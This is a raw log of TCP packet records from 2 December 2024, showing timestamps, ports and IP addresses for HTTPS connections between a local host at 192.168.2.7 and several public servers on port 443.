Dec 2, 2024 01:34:40.041388988 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.115422010 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.115977049 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.116019011 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.116440058 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.116445065 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.172259092 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.172770977 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.172804117 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.173414946 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.173422098 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.366070986 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.366132975 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.366153002 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.366210938 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.378129959 CET	49836	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.378158092 CET	443	49836	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.476260900 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.476325035 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.476466894 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.476547956 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.476571083 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.476608038 CET	49839	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.476614952 CET	443	49839	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.476878881 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.477092981 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.477119923 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.477459908 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.478117943 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.478189945 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.479505062 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.479542017 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.479681969 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.479856968 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.479868889 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.486582041 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.486819983 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.486845016 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.491535902 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.491586924 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.492019892 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.492120981 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.520008087 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.546566010 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.546583891 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.549052954 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.549509048 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.549580097 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.550091028 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.550107002 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.559746027 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.559814930 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.560012102 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.561379910 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.561415911 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.561624050 CET	49840	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.561640978 CET	443	49840	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.564621925 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.564671040 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.564866066 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.565035105 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.565054893 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.593995094 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.598556042 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:40.599001884 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:40.599021912 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:40.600048065 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:40.600120068 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:40.601067066 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:40.601155996 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:40.601313114 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:40.606897116 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.606955051 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.608002901 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.612121105 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.612143993 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.612154007 CET	49841	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.612159967 CET	443	49841	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.615199089 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.615236044 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.615561008 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.615732908 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.615745068 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.633599043 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.633972883 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.634012938 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.634412050 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:40.634419918 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:40.638225079 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.638315916 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.642273903 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.642286062 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.642307997 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:40.642328024 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:40.644500971 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644506931 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.644609928 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644623041 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.644627094 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644630909 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.644718885 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644732952 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.644742012 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644747019 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.644829035 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644839048 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.644853115 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.644857883 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.645591021 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.645597935 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.645795107 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.645802021 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.645931005 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.645940065 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.645966053 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.645981073 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.645982027 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.645994902 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646136045 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646147013 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646167994 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646179914 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646183968 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646195889 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646209955 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646214962 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646260023 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646270990 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646286964 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646295071 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646316051 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646321058 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.646800995 CET	49846	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:40.646805048 CET	443	49846	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:40.670245886 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.670648098 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.670674086 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.671720982 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.671834946 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.673038006 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.673108101 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.673216105 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.677433014 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.677638054 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.677664995 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.679107904 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.679181099 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.679783106 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.679892063 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.679924011 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.687921047 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:40.715328932 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.719746113 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.719808102 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.723351002 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.732286930 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.732316017 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:40.766921997 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:40.782613993 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.003066063 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.003142118 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.003190041 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.003504992 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.003530979 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.003546000 CET	49842	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.003554106 CET	443	49842	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.009253025 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.009287119 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.009417057 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.009680986 CET	49855	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.009696007 CET	443	49855	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.099829912 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.099903107 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.099978924 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.100136995 CET	49843	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.100159883 CET	443	49843	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.102833033 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.102880001 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.103116989 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.103319883 CET	49856	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:41.103332043 CET	443	49856	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:41.200114012 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.200318098 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.200345039 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.201426983 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.201502085 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.202733040 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.202800989 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.203005075 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.203012943 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.220662117 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220691919 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220700026 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220716000 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220724106 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220735073 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220743895 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.220777988 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.220793962 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.220820904 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.221852064 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.221873999 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.221883059 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.221894026 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.221901894 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.221909046 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.221959114 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.221981049 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.222023964 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.251624107 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.254683971 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.254698038 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.254751921 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.254762888 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.297209024 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.300002098 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.300019979 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.300107956 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.300148010 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.300193071 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.300208092 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.300302029 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.300497055 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.300513029 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.300543070 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.300554037 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.300565004 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.300570011 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.300591946 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.300615072 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.308180094 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.308252096 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.308316946 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.309096098 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.309113026 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.309122086 CET	49835	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.309128046 CET	443	49835	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.352667093 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:41.352719069 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:41.352796078 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:41.353058100 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:41.353072882 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:41.405718088 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.405733109 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.405777931 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.405797958 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.405814886 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.405833006 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.405852079 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.413817883 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.413901091 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.413922071 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.429124117 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.429163933 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.429255009 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.429455042 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:41.429470062 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:41.446628094 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.446645975 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.446685076 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.446712017 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.446731091 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.455209970 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.455229998 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.455274105 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.455286980 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.455327034 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.455337048 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.463992119 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.464061022 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.464093924 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.485661030 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.485677958 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.485707045 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.485724926 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.485747099 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.485759974 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.495191097 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.495385885 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.495508909 CET	49849	443	192.168.2.7	23.221.239.43
Dec 2, 2024 01:34:41.495527983 CET	443	49849	23.221.239.43	192.168.2.7
Dec 2, 2024 01:34:41.587646961 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.587672949 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.587743998 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.587776899 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.587805033 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.587826014 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.598665953 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.598730087 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.598737001 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.598754883 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.598809004 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.599387884 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.599406958 CET	443	49844	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:41.599420071 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.599457026 CET	49844	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:41.609575987 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:41.609632969 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:41.609827042 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:41.610059977 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:41.610074997 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:41.649619102 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.674870968 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.674887896 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.674931049 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.674962997 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.674973011 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.675004959 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.675025940 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.701730013 CET	49850	443	192.168.2.7	152.195.19.97
Dec 2, 2024 01:34:41.701754093 CET	443	49850	152.195.19.97	192.168.2.7
Dec 2, 2024 01:34:41.856313944 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:41.856317997 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:41.856367111 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:41.856374025 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:41.856657028 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:41.856684923 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:41.857119083 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:41.857136011 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:41.857507944 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:41.857528925 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:42.292622089 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.329224110 CET	443	49854	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.344393015 CET	443	49853	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.351017952 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.379143953 CET	49854	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.395519972 CET	49853	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.585108042 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585135937 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585144043 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585180998 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585194111 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585205078 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585233927 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.585269928 CET	443	49845	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:42.585289955 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.585325956 CET	49845	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:42.619146109 CET	49852	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:42.619184017 CET	443	49852	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:42.619786024 CET	49852	443	192.168.2.7	13.107.246.63
